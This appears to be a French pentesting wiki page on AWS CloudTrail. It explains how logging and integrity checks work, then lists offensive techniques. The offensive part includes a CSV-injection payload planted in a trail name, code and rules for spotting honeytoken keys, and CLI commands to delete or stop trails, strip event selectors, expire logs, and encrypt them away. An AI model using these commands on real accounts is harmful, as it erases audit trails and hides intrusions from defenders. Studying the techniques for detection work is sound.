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AWS - CloudTrail Enum

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CloudTrail

AWS CloudTrail enregistre et surveille l'activité au sein de votre environnement AWS. Il capture des journaux d'événements détaillés, y compris qui a fait quoi, quand et d'où, pour toutes les interactions avec les ressources AWS. Cela fournit une piste d'audit des changements et des actions, aidant à l'analyse de la sécurité, à l'audit de conformité et au suivi des modifications des ressources. CloudTrail est essentiel pour comprendre le comportement des utilisateurs et des ressources, améliorer les postures de sécurité et assurer la conformité réglementaire.

Chaque événement enregistré contient :

  • Le nom de l'API appelée : eventName

  • Le service appelé : eventSource

  • L'heure : eventTime

  • L'adresse IP : SourceIPAddress

  • La méthode de l'agent : userAgent. Exemples :

  • Signing.amazonaws.com - Depuis AWS Management Console

  • console.amazonaws.com - Utilisateur root du compte

  • lambda.amazonaws.com - AWS Lambda

  • Les paramètres de la requête : requestParameters

  • Les éléments de réponse : responseElements

Les événements sont écrits dans un nouveau fichier journal environ toutes les 5 minutes dans un fichier JSON, ils sont conservés par CloudTrail et enfin, les fichiers journaux sont livrés à S3 environ 15 minutes après. Les journaux CloudTrail peuvent être agrégés entre comptes et entre régions. CloudTrail permet d'utiliser l'intégrité des fichiers journaux afin de pouvoir vérifier que vos fichiers journaux n'ont pas été modifiés depuis que CloudTrail vous les a livrés. Il crée un hachage SHA-256 des journaux à l'intérieur d'un fichier de résumé. Un hachage sha-256 des nouveaux journaux est créé toutes les heures. Lors de la création d'un Trail, les sélecteurs d'événements vous permettront d'indiquer au trail de journaliser : événements de gestion, de données ou d'aperçus.

Les journaux sont enregistrés dans un bucket S3. Par défaut, le chiffrement côté serveur est utilisé (SSE-S3) afin qu'AWS déchiffre le contenu pour les personnes qui y ont accès, mais pour une sécurité supplémentaire, vous pouvez utiliser SSE avec KMS et vos propres clés.

Les journaux sont stockés dans un bucket S3 avec ce format de nom :

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Le BucketName étant : aws-cloudtrail-logs-<accountid>-<random>

  • Exemple : aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

À l'intérieur de chaque dossier, chaque journal aura un nom suivant ce format : AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Convention de nommage des fichiers journaux

De plus, les fichiers de résumé (pour vérifier l'intégrité des fichiers) seront à l'intérieur du même bucket dans :

Agréger les journaux de plusieurs comptes

  • Créez un Trial dans le compte AWS où vous souhaitez que les fichiers journaux soient livrés

  • Appliquez des autorisations au bucket S3 de destination permettant l'accès inter-comptes pour CloudTrail et autorisez chaque compte AWS qui a besoin d'accès

  • Créez un nouveau Trail dans les autres comptes AWS et sélectionnez d'utiliser le bucket créé à l'étape 1

Cependant, même si vous pouvez enregistrer tous les journaux dans le même bucket S3, vous ne pouvez pas agréger les journaux CloudTrail de plusieurs comptes dans un CloudWatch Logs appartenant à un seul compte AWS.

N'oubliez pas qu'un compte peut avoir différents Trails de CloudTrail activés stockant les mêmes (ou différents) journaux dans différents buckets.

Cloudtrail de tous les comptes org dans 1

Lors de la création d'un CloudTrail, il est possible d'indiquer d'activer cloudtrail pour tous les comptes de l'org et d'obtenir les journaux dans un seul bucket :

De cette façon, vous pouvez facilement configurer CloudTrail dans toutes les régions de tous les comptes et centraliser les journaux dans un seul compte (que vous devez protéger).

Vérification des fichiers journaux

Vous pouvez vérifier que les journaux n'ont pas été modifiés en exécutant

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail peut automatiquement envoyer des logs à CloudWatch afin que vous puissiez définir des alertes qui vous avertissent lorsque des activités suspectes sont effectuées. Notez que pour permettre à CloudTrail d'envoyer les logs à CloudWatch, un rôle doit être créé pour permettre cette action. Si possible, il est recommandé d'utiliser le rôle par défaut d'AWS pour effectuer ces actions. Ce rôle permettra à CloudTrail de :

  • CreateLogStream : Cela permet de créer des flux de logs CloudWatch Logs

  • PutLogEvents : Livrer les logs CloudTrail au flux de logs CloudWatch Logs

Event History

CloudTrail Event History vous permet d'inspecter dans un tableau les logs qui ont été enregistrés :

Insights

CloudTrail Insights analyse automatiquement les événements de gestion d'écriture des pistes CloudTrail et vous alerte sur les activités inhabituelles. Par exemple, s'il y a une augmentation des événements TerminateInstance qui diffère des bases établies, vous le verrez comme un événement Insight. Ces événements rendent la détection et la réponse aux activités API inhabituelles plus faciles que jamais.

Les insights sont stockés dans le même bucket que les logs CloudTrail dans : BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

Intégrité des fichiers de log CloudTrail

  • Valider si les logs ont été altérés (modifiés ou supprimés)

  • Utilise des fichiers de digest (crée un hash pour chaque fichier)

    • Hachage SHA-256

    • SHA-256 avec RSA pour la signature numérique

    • clé privée détenue par Amazon

  • Prend 1 heure pour créer un fichier de digest (fait à l'heure chaque heure)

Empêcher l'accès non autorisé

  • Utiliser les politiques IAM et les politiques de bucket S3

    • équipe de sécurité —> accès admin

    • auditeurs —> accès en lecture seule

  • Utiliser SSE-S3/SSE-KMS pour chiffrer les logs

Empêcher la suppression des fichiers de log

  • Restreindre l'accès à la suppression avec les politiques IAM et de bucket

  • Configurer la suppression MFA S3

  • Valider avec la validation des fichiers de log

Access Advisor

AWS Access Advisor repose sur les 400 derniers jours de logs AWS CloudTrail pour recueillir ses insights. CloudTrail capture un historique des appels API AWS et des événements associés effectués dans un compte AWS. Access Advisor utilise ces données pour montrer quand les services ont été accédés pour la dernière fois. En analysant les logs CloudTrail, Access Advisor peut déterminer quels services AWS un utilisateur ou un rôle IAM a accédé et quand cet accès a eu lieu. Cela aide les administrateurs AWS à prendre des décisions éclairées sur l'affinement des permissions, car ils peuvent identifier les services qui n'ont pas été accédés pendant de longues périodes et potentiellement réduire les permissions trop larges en fonction des modèles d'utilisation réels.

Par conséquent, Access Advisor informe sur les permissions inutiles accordées aux utilisateurs afin que l'administrateur puisse les supprimer

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

Il est possible de réaliser une injection CSV dans CloudTrail qui exécutera du code arbitraire si les journaux sont exportés en CSV et ouverts avec Excel. Le code suivant générera une entrée de journal avec un mauvais nom de Trail contenant la charge utile :

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Pour plus d'informations sur les injections CSV, consultez la page :

Pour plus d'informations sur cette technique spécifique, consultez https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Contourner la détection

Contournement des HoneyTokens

Les Honeytokens sont créés pour détecter l'exfiltration d'informations sensibles. Dans le cas d'AWS, ce sont des clés AWS dont l'utilisation est surveillée. Si quelque chose déclenche une action avec cette clé, alors quelqu'un doit avoir volé cette clé.

Cependant, les Honeytokens comme ceux créés par Canarytokens, SpaceCrab, SpaceSiren utilisent soit un nom de compte reconnaissable, soit le même ID de compte AWS pour tous leurs clients. Par conséquent, si vous pouvez obtenir le nom du compte et/ou l'ID du compte sans que Cloudtrail ne crée de journal, vous pourriez savoir si la clé est un honeytoken ou non.

Pacu a quelques règles pour détecter si une clé appartient à Canarytokens, SpaceCrab, SpaceSiren:

  • Si canarytokens.org apparaît dans le nom du rôle ou si l'ID de compte 534261010715 apparaît dans le message d'erreur.

  • En les testant plus récemment, ils utilisent le compte 717712589309 et ont toujours la chaîne canarytokens.com dans le nom.

  • Si SpaceCrab apparaît dans le nom du rôle dans le message d'erreur.

  • SpaceSiren utilise des uuids pour générer des noms d'utilisateur : [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Si le nom semble généré aléatoirement, il y a de fortes probabilités que ce soit un HoneyToken.

Obtenir l'ID de compte à partir de l'ID de clé

Vous pouvez obtenir l'ID de compte à partir de l'encodage à l'intérieur de la clé d'accès comme expliqué ici et vérifier l'ID de compte avec votre liste de comptes AWS Honeytokens :

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Consultez plus d'informations dans la recherche originale.

Ne pas générer de journal

La technique la plus efficace est en fait simple. Utilisez simplement la clé que vous venez de trouver pour accéder à un service à l'intérieur de votre propre compte d'attaquant. Cela fera en sorte que CloudTrail génère un journal dans VOTRE PROPRE compte AWS et non dans celui de la victime.

Le fait est que la sortie vous montrera une erreur indiquant l'ID du compte et le nom du compte, donc vous pourrez voir si c'est un Honeytoken.

Services AWS sans journaux

Dans le passé, il y avait certains services AWS qui n'envoyaient pas de journaux à CloudTrail (trouvez une liste ici). Certains de ces services répondront avec une erreur contenant l'ARN du rôle de la clé si quelqu'un non autorisé (la clé honeytoken) essaie d'y accéder.

De cette manière, un attaquant peut obtenir l'ARN de la clé sans déclencher de journal. Dans l'ARN, l'attaquant peut voir l'ID du compte AWS et le nom, il est facile de connaître les ID et les noms des comptes des entreprises HoneyToken, donc de cette manière un attaquant peut identifier si le token est un HoneyToken.

Notez que toutes les API publiques découvertes ne créant pas de journaux CloudTrail sont maintenant corrigées, donc peut-être que vous devrez trouver les vôtres...

Pour plus d'informations, consultez la recherche originale.

Accéder à une infrastructure tierce

Certains services AWS vont déployer une infrastructure telle que des bases de données ou des clusters Kubernetes (EKS). Un utilisateur parlant directement à ces services (comme l'API Kubernetes) n'utilisera pas l'API AWS, donc CloudTrail ne pourra pas voir cette communication.

Par conséquent, un utilisateur ayant accès à EKS qui a découvert l'URL de l'API EKS pourrait générer un token localement et parler directement au service API sans être détecté par CloudTrail.

Plus d'infos dans :

AWS - EKS Post Exploitation

Modifier la configuration de CloudTrail

Supprimer les trails

aws cloudtrail delete-trail --name [trail-name]

Arrêter les trails

aws cloudtrail stop-logging --name [trail-name]

Désactiver la journalisation multi-régions

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Désactiver la journalisation par sélecteurs d'événements

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Dans le premier exemple, un seul sélecteur d'événements est fourni sous forme de tableau JSON avec un seul objet. Le "ReadWriteType": "ReadOnly" indique que le sélecteur d'événements ne doit capturer que les événements en lecture seule (donc les insights de CloudTrail ne vérifieront pas les événements d'écriture par exemple).

Vous pouvez personnaliser le sélecteur d'événements en fonction de vos besoins spécifiques.

Suppression des logs via la politique de cycle de vie S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modification de la configuration du Bucket

  • Supprimer le bucket S3

  • Modifier la politique du bucket pour refuser toute écriture du service CloudTrail

  • Ajouter une politique de cycle de vie au bucket S3 pour supprimer les objets

  • Désactiver la clé kms utilisée pour chiffrer les journaux CloudTrail

Ransomware Cloudtrail

Ransomware S3

Vous pourriez générer une clé asymétrique et faire en sorte que CloudTrail chiffre les données avec cette clé et supprimer la clé privée afin que le contenu de CloudTrail ne puisse pas être récupéré. C'est essentiellement un S3-KMS ransomware expliqué dans :

AWS - S3 Post Exploitation

KMS ransomware

C'est un moyen plus simple d'effectuer l'attaque précédente avec des exigences de permissions différentes :

AWS - KMS Post Exploitation

Références

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